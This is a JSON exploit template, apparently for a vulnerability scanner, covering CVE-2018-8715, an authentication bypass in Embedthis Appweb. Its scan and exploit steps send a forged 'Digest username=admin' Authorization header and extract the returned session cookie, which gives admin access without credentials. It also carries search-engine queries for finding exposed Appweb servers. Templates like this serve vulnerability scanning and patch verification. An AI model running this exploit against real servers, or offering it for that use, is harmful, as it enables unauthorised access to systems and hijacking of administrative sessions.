{
  "Name": "AppWeb Authentication Bypass vulnerability (CVE-2018-8715)",
  "Description": "The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.",
  "Product": "Embedthis-Appweb",
  "Homepage": "https://www.embedthis.com/",
  "DisclosureDate": "2018-03-14",
  "Author": "itardc@163.com",
  "FofaQuery": "app=\"Mbedthis-Appweb\" || app=\"Embedthis-Appweb\" || app=\"Embedthis-http\"",
  "GobyQuery": "app=\"Mbedthis-Appweb\" || app=\"Embedthis-Appweb\" || app=\"Embedthis-http\"",
  "Level": "2",
  "Impact": "",
  "Recommendation": "",
  "References": [
    "https://blogs.securiteam.com/index.php/archives/3676",
    "https://github.com/embedthis/appweb/issues/610",
    "https://security.paloaltonetworks.com/CVE-2018-8715",
    "https://nvd.nist.gov/vuln/detail/CVE-2018-8715",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8715"
  ],
  "HasExp": true,
  "ExpParams": null,
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": true,
        "header": {"Authorization": "Digest username=admin"},
        "method": "GET",
        "uri": "/"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "Set-Cookie: -http-session-",
            "variable": "$head"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": true,
        "header": {"Authorization": "Digest username=admin"},
        "method": "GET",
        "uri": "/"
      },
      "SetVariable": [
        "output|lastheader|regex|Set-Cookie: (.*?); path="
      ]
    }
  ],
  "Tags": ["unauthorized"],
  "CVEIDs": [
    "CVE-2018-8715"
  ],
  "CVSSScore": "8.1",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": ["Embedthis-Appweb"],
    "System": null,
    "Hardware": null
  },
  "Disable": false
}